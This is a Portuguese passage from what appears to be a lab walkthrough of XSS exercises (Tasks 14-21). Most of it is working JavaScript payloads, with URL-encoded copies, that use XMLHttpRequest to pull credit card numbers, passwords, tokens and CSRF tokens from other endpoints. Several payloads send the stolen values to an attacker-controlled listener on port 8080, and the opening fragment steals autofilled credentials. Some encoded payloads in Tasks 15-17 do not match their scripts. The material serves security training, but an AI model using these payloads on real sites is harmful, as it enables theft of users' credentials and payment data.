%3Cscript%3E%0A%09window.setTimeout%28function%28%29%20%7B%0A%09%09username%20%3D%20document.forms%5B0%5D.elements%5B0%5D.value%3B%0A%09%09password%20%3D%20document.forms%5B0%5D.elements%5B1%5D.value%3B%0A%09%09var%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09req.open%28%22GET%22%2C%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3Fusername%3D%22%2Busername%2B%22%26password%22%2Bpassword%2C%20true%29%3B%0A%09%09req.send%28%29%3B%20%0A%09%7D%2C%203000%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurado para ouvir a requisição feita.

Python server

Ao carregar a página, as credenciais armazenadas são carregadas nos campos do formulário.

Dados carregados

Logo em seguida, os dados são encaminhados para o Python server.

Resposta recebida

Referências

Task 14 - Data Exfiltration with XMLHttpRequest GET

Task 14

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar o número do cartão de crédito contido em outro endpoint da aplicação com uma requisição do tipo GET usando XMLHttpRequest(). Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial.

Conhecimento Base

O constructor XMLHttpRequest() possui diversas propriedades para lidar com requisições e respostas. Algumas delas são importantes para entendermos a mecânica de ataques.

O onreadystatechange é um manipulador de eventos no objeto XMLHttpRequest que é chamado sempre que o estado da solicitação muda. Isso significa que será chamado várias vezes durante o ciclo de vida de uma solicitação, desde que é enviada até que a resposta é recebida e processada.

O objeto XMLHttpRequest possui uma propriedade readyState que fornece o estado atual da solicitação. Aqui estão os possíveis valores para readyState:

  • 0 (não inicializado): O objeto foi criado, mas o método open() ainda não foi chamado.
  • 1 (carregamento): O método open() foi chamado, mas o método send() ainda não foi chamado.
  • 2 (carregado): O método send() foi chamado, e o status e os cabeçalhos estão disponíveis.
  • 3 (interativo): Os dados estão sendo baixados, e parte dos dados já está disponível.
  • 4 (completo): Todos os dados foram recebidos e estão disponíveis.

Geralmente, quando você usa onreadystatechange, você está interessado no estado 4, que indica que a solicitação foi concluída e a resposta está disponível. O manipulador de eventos onreadystatechange geralmente verifica o readyState e o status HTTP (para confirmar que a solicitação foi bem-sucedida) antes de processar a resposta.

A propriedade responseText do objeto XMLHttpRequest é usada para capturar o conteúdo da resposta do servidor como uma string. Quando uma solicitação é feita ao servidor, a resposta é armazenada nesta propriedade.

Por exemplo, se a solicitação for bem-sucedida e a resposta do servidor for um objeto JSON, você pode usar a propriedade responseText para obter essa resposta como uma string. Então você pode usar a função JSON.parse() para converter essa string em um objeto JavaScript que você pode usar em seu código.

Exploração

Primeiramente, precisamos entender a arquitetura da aplicação. Seguindo as orientações da aplicação, existe o endpoint /14/creditCard/ que recebe o parâmetro user para retornar o número do cartão de crédito. Portanto, ao acessar a URL abaixo, somos levados ao destino.

Com estas informações, podemos criar um objeto do tipo XMLHttpRequest que fará uma requisição para este endpoint, no entanto, também precisamos ouvir as mudanças do readyState com o manipulador onreadystatechange, caso seu valor seja alterado para 4 e o status code do response seja 200, teremos uma resposta válida do alvo.

1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
	if (req.readyState == 4 && req.status == 200) 
	{
		document.getElementById("exploit").innerHTML = req.responseText;
	}
};
req.open("GET", "/14/creditCard/?user=h41stur", true);
req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0Avar%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0Areq.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%0A%09%7B%0A%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20req.responseText%3B%0A%09%7D%0A%7D%3B%0Areq.open%28%22GET%22%2C%20%22%2F14%2FcreditCard%2F%3Fuser%3Dh41stur%22%2C%20true%29%3B%0Areq.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, temos o número do cartão impresso na tela.

Conclusão

Referências

Task 15 - Data Exfiltration with XMLHttpRequest POST

Task 15

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar o número do cartão de crédito contido em outro endpoint da aplicação com uma requisição do tipo POST usando XMLHttpRequest(). Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial.

Conhecimento Base

Outra propriedade importante é o setRequestHeader do objeto XMLHttpRequest, este é usado para definir os cabeçalhos HTTP para uma solicitação. Este método aceita dois argumentos: o nome do cabeçalho e o valor do cabeçalho. Ele é geralmente chamado após o método open, mas antes do método send.

É importante observar que existem algumas restrições ao uso de setRequestHeader. Por razões de segurança, você não pode definir certos cabeçalhos controlados pelo navegador, como Referer e Host. Além disso, chamar setRequestHeader após send resultará em um erro.

Exploração

Assim com ona task anterior, existe um endpoint que retorna o número do cartão de crédito, o /15/creditCard/ seguido do parâmetro user.

Porém, desta vez a API só aceita requisições do tipo POST. Para criarmos um request com o XMLHttpRequest, além das informações que já temos, precisamos utilizar o método setRequestHeader para indicar um formulário válido.

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
	if (req.readyState == 4 && req.status == 200) 
	{
		document.getElementById("exploit").innerHTML = req.responseText;
	}
};
req.open("POST", "/15/creditCard/", true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("user=h41stur");
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0Avar%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0Areq.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%0A%09%7B%0A%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20req.responseText%3B%0A%09%7D%0A%7D%3B%0Areq.open%28%22GET%22%2C%20%22%2F14%2FcreditCard%2F%3Fuser%3Dh41stur%22%2C%20true%29%3B%0Areq.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, temos o número do cartão impresso na tela.

Resultado

Referências

Task 16 - Getting Parameters from URL

Task 16

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar o número do cartão de crédito contido em outro endpoint da aplicação com uma requisição do tipo GET usando XMLHttpRequest(). Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial.

Porém, neste caso, a validação do endpoint também precisa de umn token que transita pela URL.

Conhecimento Base

É possível separar cada elemento que compõe a URL com o método window.location.search. Neste caso em específico, como existe um delimitador padrão entre parâmetros GET &, podemos usar o split() para obtermos somente o que precisamos.

Exploração

A exploração é muito parecida com as anteriores, porém neste caso, é preciso passar um token de validação que existe na URL, neste caso, é preciso extrair este token antes de montar a requisição.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
var req = new XMLHttpRequest();

req.onreadystatechange = function () {
	if (req.readyState == 4 && req.status == 200) {
		document.getElementById("exploit").innerHTML = req.responseText;
	}
};

var token = window.location.search.split("&")[1];
req.open("GET", "/16/creditCard/?user=h41stur&"+token, true);
req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0Avar%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0Areq.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%0A%09%7B%0A%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20req.responseText%3B%0A%09%7D%0A%7D%3B%0Areq.open%28%22GET%22%2C%20%22%2F14%2FcreditCard%2F%3Fuser%3Dh41stur%22%2C%20true%29%3B%0Areq.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, temos o número do cartão impresso na tela.

Resultado

Referências

Task 17 - Stealing CSRF Tokens

Task 17

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar o número do cartão de crédito contido em outro endpoint da aplicação com uma requisição do tipo GET usando XMLHttpRequest(). Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial.

Porém, neste caso, a validação do endpoint também precisa de umn CSRF token que está em um campo hidden no formulário.

Conhecimento Base

Outra propriedade importante é o setRequestHeader do objeto XMLHttpRequest, este é usado para definir os cabeçalhos HTTP para uma solicitação. Este método aceita dois argumentos: o nome do cabeçalho e o valor do cabeçalho. Ele é geralmente chamado após o método open, mas antes do método send.

É importante observar que existem algumas restrições ao uso de setRequestHeader. Por razões de segurança, você não pode definir certos cabeçalhos controlados pelo navegador, como Referer e Host. Além disso, chamar setRequestHeader após send resultará em um erro.

CSRF é a sigla para Cross-Site Request Forgery, uma forma de ataque malicioso que engana a vítima para que ela realize ações não intencionais em um site no qual está autenticada.

Um token CSRF é uma medida de segurança usada para prevenir esses tipos de ataques. Ele é um valor secreto único e aleatório gerado pelo servidor e enviado ao cliente. O cliente deve então enviar esse token de volta ao servidor com cada solicitação que modifica o estado do servidor (como uma solicitação POST).

Quando o servidor recebe uma solicitação que modifica o estado, ele verifica se o token CSRF enviado com a solicitação corresponde ao token que foi enviado ao cliente. Se os tokens não corresponderem, a solicitação é rejeitada.

A ideia por trás do token CSRF é que um atacante não terá acesso ao token, então não será capaz de forjar uma solicitação válida. Embora o atacante possa forjar a solicitação em si, ele não terá o token CSRF, então a solicitação será rejeitada pelo servidor.

Exploração

Se olharmos para o código HTML da aplicação podemos ver o valor do token CSRF em um campo hidden do formulário.

Token

Porém, não podemos pegar este valor manualmente, e inseri-lo no script malicioso, pois este token é gerado aleatoriamente para cada requisição feita na página.

Portanto, um ataque efetivo, precisa capturar o valor deste campo, antes de montar o request para o endpoint alvo. Por se tratar de um simples campo HTML, podemos extrair seu valor sem problemas com alguns métodos que conhecemos.

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
	if (req.readyState == 4 && req.status == 200) {
		document.getElementById("exploit").innerHTML = req.responseText;
	}
};
var token = document.getElementById("csrf_token").value;
req.open("POST", "/17/creditCard/", true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("user=h41stur&csrf_token="+token);
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0Avar%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0Areq.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%0A%09%7B%0A%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20req.responseText%3B%0A%09%7D%0A%7D%3B%0Areq.open%28%22GET%22%2C%20%22%2F14%2FcreditCard%2F%3Fuser%3Dh41stur%22%2C%20true%29%3B%0Areq.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, temos o número do cartão impresso na tela.

Resultado

Referências

Task 18 - HTML Parsing of XMLHttpRequest

Task 18

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar os dados sensíveis contidos em outro endpoint da aplicação com uma requisição do tipo GET usando XMLHttpRequest(). Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial.

Porém, neste caso, o endpoint que contém os dados, não é uma API que retorna uma string, e sim uma página HTML completa que precisa de parsing para obter os dados corretos.

Conhecimento Base

A propriedade responseType do objeto XMLHttpRequest é uma string que define o tipo de dados que você espera da resposta. Isso permite que você informe ao navegador como processar a resposta.

Os possíveis valores para responseType são:

  • "" (string vazia): O padrão, também conhecido como text. A resposta é retornada como uma string.
  • "arraybuffer": A resposta é retornada como um ArrayBuffer.
  • "blob": A resposta é retornada como um Blob.
  • "document": A resposta é retornada como um Documento HTML ou XML.
  • "json": A resposta é interpretada como JSON e retornada como um objeto JavaScript.
  • "text": A resposta é retornada como uma string de texto.
  • "ms-stream": Específico da Microsoft, usado para streaming.

Você define a propriedade responseType após o método open mas antes do método send.

É importante ressaltar que quando usamos o responseTupe = "document" precisamos usar a propriedade responseXML para armazenar o response.

Exploração

A primeira ação a ser feita é entender a arquitetura, ao clicar em “User data” somos levados à página de destino.

Destino

Como podemos ver, temos os dados sensíveis em um HTML inteiro, isso significa que se utilizarmos responseText para capturarmos a resposta, todo o código HTML será interpretado com uma string, impossibilitando o carregamento dos dados sensíveis.

Ao olharmos o código HTML do alvo, podemos ver que os dados estão em um parágrafo cujo ID é user_data.

Dados

Portanto, podemos usar a propriedade responseType para definirmos o tipo da resposta como document. Isso fará com que a resposta seja interpretada como HTML ou XML, nos permitindo tratá-la como qualquer outro documento, podendo assim extrair valores.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
	if (req.readyState == 4 && req.status == 200){
		var htmlPage = req.responseXML;
		var user_data = htmlPage.getElementById("user_data").innerHTML;
		document.getElementById("exploit").innerHTML = user_data;
	}
};
req.open("GET", "/18/user/", true);
req.responseType = "document";
req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0Avar%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0Areq.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%7B%0A%09%09var%20htmlPage%20%3D%20req.responseXML%3B%0A%09%09var%20user_data%20%3D%20htmlPage.getElementById%28%22user_data%22%29.innerHTML%3B%0A%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20user_data%3B%0A%09%7D%0A%7D%3B%0Areq.open%28%22GET%22%2C%20%22%2F18%2Fuser%2F%22%2C%20true%29%3B%0Areq.responseType%20%3D%20%22document%22%3B%0Areq.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Ao acessar a URL, temos os dados impressos na tela.

Resultado

Referências

Task 19 - HTML Parsing Multi-Level

Task 19

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar os dados sensíveis contidos em outro endpoint da aplicação, porém, existe mais de um nível de acesso, neste caso, após uma solicitação do tipo GET, existe um formulário que valida um ID para entregar os dados. Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial, além de enviá-lo para uma máquina sob controle do atacante.

Conhecimento Base

Independente da quantidade de níveis necessários para montar um ataque, é possível aninhar várias requisições utilizando o XMLHttpRequest para que o objetivo final seja atingido.

Exploração

Para melhor entendimento da arquitetura da aplicação, o exploit será feito em partes. A primeira coisa a se observar é a tela inicial que contém um link e um ID.

Tela inicial

Ao inspecionar o código HTML, vemos que o link está em um h2 com id config.

Config

Ao clicar no link somos levados para um formulário que solicita o ID informado na tela anterior.

Form

Neste ponto, podemos iniciar a construção do script capturando o link inicial e o ID contido no elemento, fazendo a request e armazenando sua resposta em um objeto HTML.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
	var link = document.getElementById("config");
	var id = link.innerHTML.split(':')[1];
	var req = new XMLHttpRequest();
	req.onreadystatechange = function() {
		if (req.readyState == 4 && req.status == 200) {
			var htmlPage = req.responseXML;
		}
	}
	req.open("GET", link.href, true);
	req.responseType = "document";
	req.send();
</script>

Inspecionando o HTML da segunda tela, podemos verificar alguns pontos importantes.

Form

  • O método utilizado é POST
  • O action do formulário aponta para o endpoint ../creditCard/
  • A aplicação implementa um CSRF token dinâmico.
  • O campo user_id recebe o ID capturado da tela anterior

Ao preencher o formulário com o ID, somos levados a outra página HTML com os dados sensíveis.

Dados

Com estas informações, podemos extrair os dados da segunda página, e aninhar a segunda requisição, capturando sua resposta em um objeto HTML.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
	var link = document.getElementById("config");
	var id = link.innerHTML.split(':')[1];
	var req = new XMLHttpRequest();
	var req2 = new XMLHttpRequest();
	
	req2.onreadystatechange = function() {
		if (req2.readyState == 4 && req.status == 200) {
			var htmlPage = req2.responseXML;
		}
	}
	
	req.onreadystatechange = function() {
		if (req.readyState == 4 && req.status == 200) {
			var htmlPage = req.responseXML;
			csrf_token = htmlPage.forms[0].elements[1].value;
			req2.open("POST", "/19/creditCard/", true);
			req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			req2.responseType = "document";
			req2.send("user_id="+id+"&csrf_token="+csrf_token);
		}
	}
	req.open("GET", link.href, true);
	req.responseType = "document";
	req.send();
</script>

Ao inspecionar o HTML da página alvo, podemos ver que o número de cartão de crédito está em um parágrafo cujo ID é credit_card.

Credit card

Com estas informações, podemos implementar no segundo request a captura do valor do campo, a inclusão na tag exploit da página inicial e enviá-lo para a máquina sob controle do atacante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script>
	var link = document.getElementById("config");
	var id = link.innerHTML.split(':')[1];
	var req = new XMLHttpRequest();
	var req2 = new XMLHttpRequest();
	
	req2.onreadystatechange = function() {
		if (req2.readyState == 4 && req.status == 200) {
			var htmlPage = req2.responseXML;
			credit_card = htmlPage.getElementById("credit_card").innerHTML;
			document.getElementById("exploit").innerHTML = credit_card;
			new Image().src = "http://0.0.0.0:8080/?credit_card="+credit_card;
		}
	}
	
	req.onreadystatechange = function() {
		if (req.readyState == 4 && req.status == 200) {
			var htmlPage = req.responseXML;
			csrf_token = htmlPage.forms[0].elements[1].value;
			req2.open("POST", "/19/creditCard/", true);
			req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			req2.responseType = "document";
			req2.send("user_id="+id+"&csrf_token="+csrf_token);
		}
	}
	req.open("GET", link.href, true);
	req.responseType = "document";
	req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20link%20%3D%20document.getElementById%28%22config%22%29%3B%0A%09var%20id%20%3D%20link.innerHTML.split%28%27%3A%27%29%5B1%5D%3B%0A%09var%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09var%20req2%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%0A%09req2.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req2.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09var%20htmlPage%20%3D%20req2.responseXML%3B%0A%09%09%09credit_card%20%3D%20htmlPage.getElementById%28%22credit_card%22%29.innerHTML%3B%0A%09%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20credit_card%3B%0A%09%09%09new%20Image%28%29.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3Fcredit_card%3D%22%2Bcredit_card%3B%0A%09%09%7D%0A%09%7D%0A%09%0A%09req.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09var%20htmlPage%20%3D%20req.responseXML%3B%0A%09%09%09csrf_token%20%3D%20htmlPage.forms%5B0%5D.elements%5B1%5D.value%3B%0A%09%09%09req2.open%28%22POST%22%2C%20%22%2F19%2FcreditCard%2F%22%2C%20true%29%3B%0A%09%09%09req2.setRequestHeader%28%22Content-Type%22%2C%20%22application%2Fx-www-form-urlencoded%22%29%3B%0A%09%09%09req2.responseType%20%3D%20%22document%22%3B%0A%09%09%09req2.send%28%22user_id%3D%22%2Bid%2B%22%26csrf_token%3D%22%2Bcsrf_token%29%3B%0A%09%09%7D%0A%09%7D%0A%09req.open%28%22GET%22%2C%20link.href%2C%20true%29%3B%0A%09req.responseType%20%3D%20%22document%22%3B%0A%09req.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurado para ouvir a requisição feita.

Python server

Ao carregar a página, a informação sensível é carregada.

Resultado

Logo em seguida, os dados são encaminhados para o Python server.

Resultado

Referências

Task 20 - JSON Parsing Multi-Level

Task 20

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar os dados sensíveis contidos em outro endpoint da aplicação, porém, existe mais de um nível de acesso, neste caso, após uma solicitação do tipo GET, um JSON é retornado com o token do usuário. No segundo endpoint, outro JSON é entregue com a senha do usuário. Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial, além de enviá-lo para uma máquina sob controle do atacante.

Conhecimento Base

O método JSON.parse() em JavaScript é usado para converter uma string formatada como JSON em um objeto JavaScript. Isso é útil quando você está lidando com dados JSON, como a resposta de uma solicitação AJAX ao servidor.

Exploração

Seguindo as instruções da task, ao acessarmos a URL abaixo, somos levados ao primeiro JSON que contém o token do usuário.

Primeiro JSON

Ainda seguindo as instruções, a URL abaixo utiliza o id do usuário e o token obtido, fornecendo um próximo JSON com a senha do usuário.

Segundo JSON

Seguindo esta premissa, podemos utilizar o método JSON.parse() para tratar a resposta de todos os requests para imprimir os dados em tela, assim como enviá-los para a máquina sob controle do atacante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script>
	var req = new XMLHttpRequest();
	var req2 = new XMLHttpRequest();
	id = document.getElementById("user_id").innerHTML.split(':')[1];

	req2.onreadystatechange = function() {
		if (req2.readyState == 4 && req2.status == 200) {
			resp = JSON.parse(req2.responseText);
			pass = resp.data.password;
			document.getElementById("exploit").innerHTML = pass;
			new Image().src = "http://0.0.0.0:8080/?pass="+pass;
		}
	}

	req.onreadystatechange = function() {
		if (req.readyState == 4 && req.status == 200) {
			resp = JSON.parse(req.responseText);
			token = resp.params.token;

			req2.open("GET", "/20/getPass/?user_id="+id+"&token="+token, true);
			req2.send();
		}
	}

	req.open("GET", "/20/getToken/?user_id="+id, true);
	req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09var%20req2%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09id%20%3D%20document.getElementById%28%22user_id%22%29.innerHTML.split%28%27%3A%27%29%5B1%5D%3B%0A%0A%09req2.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req2.readyState%20%3D%3D%204%20%26%26%20req2.status%20%3D%3D%20200%29%20%7B%0A%09%09%09resp%20%3D%20JSON.parse%28req2.responseText%29%3B%0A%09%09%09pass%20%3D%20resp.data.password%3B%0A%09%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20pass%3B%0A%09%09%09new%20Image%28%29.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3Fpass%3D%22%2Bpass%3B%0A%09%09%7D%0A%09%7D%0A%0A%09req.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09resp%20%3D%20JSON.parse%28req.responseText%29%3B%0A%09%09%09token%20%3D%20resp.params.token%3B%0A%0A%09%09%09req2.open%28%22GET%22%2C%20%22%2F20%2FgetPass%2F%3Fuser_id%3D%22%2Bid%2B%22%26token%3D%22%2Btoken%2C%20true%29%3B%0A%09%09%09req2.send%28%29%3B%0A%09%09%7D%0A%09%7D%0A%0A%09req.open%28%22GET%22%2C%20%22%2F20%2FgetToken%2F%3Fuser_id%3D%22%2Bid%2C%20true%29%3B%0A%09req.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

Podemos iniciar um Python server na porta 8080 configurado para ouvir a requisição feita.

Python server

Ao carregar a página, a informação sensível é carregada.

Resultado

Logo em seguida, os dados são encaminhados para o Python server.

Resultado

Referências

Task 21 - XML Parsing Multi-Level

Task 21

Objetivo

Muitas vezes a informação que desejamos em uma aplicação, não está armazenada na mesma página vulnerável a XSS, porém, conhecendo a arquitetura da aplicação ou da API, é possível, a partir de um XSS, buscar estas informações em qualquer lugar.

O objetivo desta task, é se aproveitar do ponto vulnerável a XSS na tela inicial para buscar os dados sensíveis contidos em outro endpoint da aplicação, porém, existe mais de um nível de acesso, neste caso, após uma solicitação do tipo GET, um XML é retornado com o próximo endpoint, o token do usuário e o user_id. No segundo endpoint, um JSON é entregue com números de cartão de crédito. Após obter estes dados, eles precisam ser inseridos em um elemento chamado exploit que está na tela inicial, além de enviá-lo para uma máquina sob controle do atacante.

Conhecimento Base

A propriedade responseXML do objeto XMLHttpRequest é usada para capturar a resposta do servidor quando é um documento XML. Se a resposta for um documento XML bem formado, responseXML retornará um objeto Document, que representa o documento XML e pode ser manipulado usando a API DOM (Document Object Model) do JavaScript.

Por exemplo, se você fizer uma solicitação a uma API que retorna um documento XML, você pode usar responseXML para obter esse documento e então usar a API DOM para buscar elementos específicos.

Exploração

Ao acessar o linkAPI Endpoints”, somos levados a um XML que contém informações importantes sobre o próximo endpoint.

XML

Com a propriedade responseXML é possível fazer o parsing do XML e obter o valor de cada um dos campos com o método getElementsByTagName().

Ao criar a URL abaixo com os dados capturados, somos levados a um JSON que contém os números de cartão de crédito.

Cartões de crédito

Com estas informações, podemos montar os requests sequenciais.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>
	var req = new XMLHttpRequest();
	var req2 = new XMLHttpRequest();
	var link = document.getElementById("endpoints").href;

	req2.onreadystatechange = function() {
		if (req2.readyState == 4 && req2.status == 200) {
			var cards = JSON.parse(req2.responseText);
			var parsed = cards.card_1 + "<br>" + cards.card_2 + "<br>" + cards.card_3;
			document.getElementById("exploit").innerHTML = parsed;
			new Image().src = "http://0.0.0.0:8080/?c1="+cards.card_1+"&c2="+cards.card_2+"&c3="+cards.card_3;
		}
	}

	req.onreadystatechange = function() {
		if (req.readyState == 4 && req.status == 200) {
			var id = req.responseXML.getElementsByTagName("user_id-param-value")[0].childNodes[0].nodeValue;
			var token = req.responseXML.getElementsByTagName("token-param-value")[0].childNodes[0].nodeValue;
			var endpoint = req.responseXML.getElementsByTagName("endpoint")[0].childNodes[0].nodeValue;

			req2.open("GET", endpoint+"?user_id="+id+"&token="+token, true);
			req2.send();
		}
	}

	req.open("GET", link, true);
	req.send();
</script>

Convertendo para URL Encode:

1
%3Cscript%3E%0A%09var%20req%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09var%20req2%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09var%20link%20%3D%20document.getElementById%28%22endpoints%22%29.href%3B%0A%0A%09req2.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req2.readyState%20%3D%3D%204%20%26%26%20req2.status%20%3D%3D%20200%29%20%7B%0A%09%09%09var%20cards%20%3D%20JSON.parse%28req2.responseText%29%3B%0A%09%09%09var%20parsed%20%3D%20cards.card_1%20%2B%20%22%3Cbr%3E%22%20%2B%20cards.card_2%20%2B%20%22%3Cbr%3E%22%20%2B%20cards.card_3%3B%0A%09%09%09document.getElementById%28%22exploit%22%29.innerHTML%20%3D%20parsed%3B%0A%09%09%09new%20Image%28%29.src%20%3D%20%22http%3A%2F%2F0.0.0.0%3A8080%2F%3Fc1%3D%22%2Bcards.card_1%2B%22%26c2%3D%22%2Bcards.card_2%2B%22%26c3%3D%22%2Bcards.card_3%3B%0A%09%09%7D%0A%09%7D%0A%0A%09req.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09%09if%20%28req.readyState%20%3D%3D%204%20%26%26%20req.status%20%3D%3D%20200%29%20%7B%0A%09%09%09var%20id%20%3D%20req.responseXML.getElementsByTagName%28%22user_id-param-value%22%29%5B0%5D.childNodes%5B0%5D.nodeValue%3B%0A%09%09%09var%20token%20%3D%20req.responseXML.getElementsByTagName%28%22token-param-value%22%29%5B0%5D.childNodes%5B0%5D.nodeValue%3B%0A%09%09%09var%20endpoint%20%3D%20req.responseXML.getElementsByTagName%28%22endpoint%22%29%5B0%5D.childNodes%5B0%5D.nodeValue%3B%0A%0A%09%09%09req2.open%28%22GET%22%2C%20endpoint%2B%22%3Fuser_id%3D%22%2Bid%2B%22%26token%3D%22%2Btoken%2C%20true%29%3B%0A%09%09%09req2.send%28%29%3B%0A%09%09%7D%0A%09%7D%0A%0A%09req.open%28%22GET%22%2C%20link%2C%20true%29%3B%0A%09req.send%28%29%3B%0A%3C%2Fscript%3E

Gerando a seguinte URL:

